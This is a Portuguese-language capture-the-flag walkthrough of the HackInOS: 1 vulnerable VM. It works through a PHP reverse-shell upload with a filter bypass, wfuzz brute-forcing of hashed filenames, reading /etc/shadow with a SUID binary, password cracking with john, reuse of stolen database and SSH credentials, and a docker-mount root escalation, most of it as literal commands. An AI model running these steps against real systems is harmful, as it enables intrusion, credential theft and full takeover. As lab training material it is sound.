Vulnhub Mafia

O projeto pretende trazer write-ups em PT-BR para ajudar e influenciar pessoas que não tem condições de pagar um curso e/ou não conhecem a área de pentest.

View on GitHub

HackInOS: 1

Download:

Name: HackInOS: 1

Date release: 9 Mar 2019

Description:

“O HackinOS é uma máquina vulnerável ao estilo CTF de nível iniciante. Criei essa VM para a comunidade de segurança cibernética da minha universidade e para todos os entusiastas da segurança cibernética. Agradeço a Mehmet Oguz Tozkoparan, Ömer Faruk Senyayla e Tufan Gungor por sua ajuda durante a criação deste laboratório.” Author: Fatih Çelik

NOTA: localhost está destinado a estar lá!

Table of Contents

Enumeration

netdiscover

Inicialmente vamos usar o netdiscover para encontrar o IP da nossa VM, porém essa máquina é possível visualizar o IP facilmente através da VM, mas geralmente isso não é possível. Então, recomendo usar o netdiscover para se acostumar.

netdiscover -i eth0 -r 192.168.111.1/24

netdiscover1

nmap

Como de costume utilizamos o nmap em nossa enumeração inicial.

nmap -sV -sC -oA nmap/initial 192.168.111.136

nmapinitial

Podemos observar 2 portas abertas 8000 e 22, precisamos escanear todas as portas e verificar se existe um outro serviço em uma porta mais alta.

nmap -sV -sT -p1-49152 -oA nmap/allports_tcp 192.168.111.136

allports_tcp

Web Server

Possivelmente é um Wordpress. O site esta quebrado, vamos ajustar isso…

wordpress

Todos os links estavam redirecionando para localhost, então editamos nosso hosts /etc/hosts e adicionamos o IP da VM para o localhost: Observe que comentei o padrão do kali.

localhost1

Depois de realizar os ajustes, o site abre perfeitamente:

site

Find Vulnerabilities

robots

Enumerando um pouco mais, encontramos o robots.txt. Com um file e um dir setados como Disallow, vamos navegar ate eles.

robots

Temos um ótimo lugar para fazer o upload de nosso payload.

upload

Depois que for feito o upload, podemos localizá lo no dir /uploads/.

uploads

Exploitation

Locate php-reverse-shell

Agora vamos localizar um shell.php para facilitar nosso trabalho, poderíamos gerar com o msfvenom. Mas automatizar as coisas e ganhar tempo é melhor ainda.

locate php-reverse-shell

locate

Copie para um diretório de sua escolha:

copy

Edite de acordo com suas configurações.

edite

Listening port

nc -lvp 1337

listen

Upload shell

Olhando o source do upload.php, encontramos uma dica que sugere ir até o github através do link passado.

git

Vulnerable-Machine—Hint

O código do upload.php podemos ver, que o arquivo é renomeado para [nomedoarquivo].php.[numero entre 1-100]

code

Usando bash podemos fazer isso facilmente, com o seguinte comando:

for number in $(seq 1 100); do echo -n "shell.php$number" |md5sum |sed 's/  -/.php/g' >> hashe.txt ;done          

hashmd5

Usamos como nome de arquivo shell.php, vamos renomear nosso payload para shell.php, adicionando o GIF89a; no inicio do arquivo para fazermos o bypass.

mvphp

Agora, realizamos o upload novamente.

shellupload

Arquivo enviado:

enviado

Usando o WFUZZ vamos fazer um brute e encontrar nosso arquivo em /uploads/.

wfuzz -c -w hashe.txt --hc 404 http://localhost:8000/uploads/FUZZ

wfuzz

A porta 1337 já encontra-se em listening conforme configuramos anteriormente, em seguida acessamos nosso payload em uploads e obtemos uma reverse shell.

getshell

Previlege Escalation

Spawn Shell

Nossa shell está muito zoada, não podemos apagar que da error. Vamos ajustar e deixar nossa shell good.

python -c 'import pty;pty.spawn("/bin/bash")';
Ctrl + Z
stty -echo raw 
fg

spawn

Linux PrivEsc

Particulamente eu sempre uso o LinEnum, para realizar privesc. Existem outros scripts e recomendo vocês pesquisarem. Um post legal para você iniciar é o g0tmi1k Basic Linux Privilege Escalation

LinEnum download

File Transfer

Em um pentest é comumente necessário a transferência de arquivos, hoje vou usar o modulo webserver do python, existe varias outras formas para transferência de arquivo, talvez pode rolar ate um post explanando sobre.

python -m SimpleHTTPserver 80

Usando o curl em nossa máquina alvo, fazemos o download do Linenum.

curl http://192.168.111.128/LinEnum.sh -O LinEnum.sh

trasnfer

Mude as permissões do Linenum para que ele seja executado, usando o chmod +x LinEnum.sh

perm

Execute o script: /bin/bash LinEnum.sh

execute

Olhando o output do script, achamos algo útil que vai ajudar com nosso privilege escalation. O tail tem SUID, ou seja podemos executar como root e ler o shadow por exemplo.

suid

Veja, com o user www-data não temos permissão. Porém o tail tem permissão de root com o SUID e ele pode ler o shadow.

shad

Se você ler o manual tail --help pode obter mais informações de como usar:

tail

Temos o hash do root. Vamos usar o john e obter a senha. Salve a hash em um arquivo .txt.

john --wordlist=/usr/share/wordlists/rockyou.txt root_hash.txt

john

Game Over: senha john

flag1

Life consists of details..

Anteriormente eu tinha visto um outro IP, de acordo com minha experiencia trata-se de um docker. Mas agora não resta dúvidas depois da mensagem da flag. Vamos continuar com nossa exploração.

Post Exploitation

Static Binaries

Vamos utilizar o binário estático do nmap para enumerar a rede 172.18.0.0.

network

static-binaries

Realizamos a transferência do nmap

nmaps

Tentei usar o nmap static para poder scanear a rede, mas não consegui executar o binário. Vamos tentar de outra forma.

error

File Sensitive

Navegando ate o /var/www/html/ encontramos as configurações do wordpress, um arquivo importante é o wp-config.php. Creds wordpress:wordpress.

wordpress_cred

Discover IP manually

Vamos escanear de uma forma mais manual a rede. Se você não sabe, é proibido usar msfconsole na OSCP.

for ip in $(seq 1 20); do ping -c 1 172.18.0.$ip >> ips.txt ;done

ips

grep "time=" ips.txt

greip

Como podemos ver existe 4 ips ativos, o 172.18.0.2 é o nosso, 172.18.0.1 provavelmente seja GW, então resta 172.18.0.3 e 172.18.0.4. Vamos agora buscar as portas abertas nesses ips.

Existe uma probabilidade enorme de ter um banco de dados por conta daquelas creds que encontramos no wordpress, no qual mostra que o serviço se conecta com um banco de dados. Então, vamos testar logo portas comuns. De cara vou tentar portas como 3306, 1433 na qual são portas de DataBase.

Common TCP/IP Ports

nc -nv 172.18.0.4 3306
nc -nv 172.18.0.3 3306

opendb

Vamos tentar fazer login com as creds encontradas no wp-config.php.

mysql -u wordpress -p wordpress -h 172.18.0.3

db1

Conseguimos conectar no mysql, vamos enumerar melhor e ver o que encontramos.

show databases;

showdb

show tables;

showtables

select * from host_ssh_cred ;

hah

Crack Hash

Agora com a hash MD5 obtida, vamos crackeaR e obter a senha.

john --format=RAW-md5 hash_.txt

hashio back

SENHA: 123456

Temos agora uma nova credencial ssh hummingbirdscyber:123456, vamos fazer login:

ssh hummingbirdscyber@192.168.111.136
password: 123456

login

Docker PrivEsc

Algo bem legal que encontramos em maquinas com containers, é privesc através do docker.

Docker Privilege Escalation

docker container ps

docker

docker run -v /:/root -ti ubuntu /bin/bash
cd root/
ls
cd root/
cat flag

rootflag

Congratulations!

Congratulations

hackback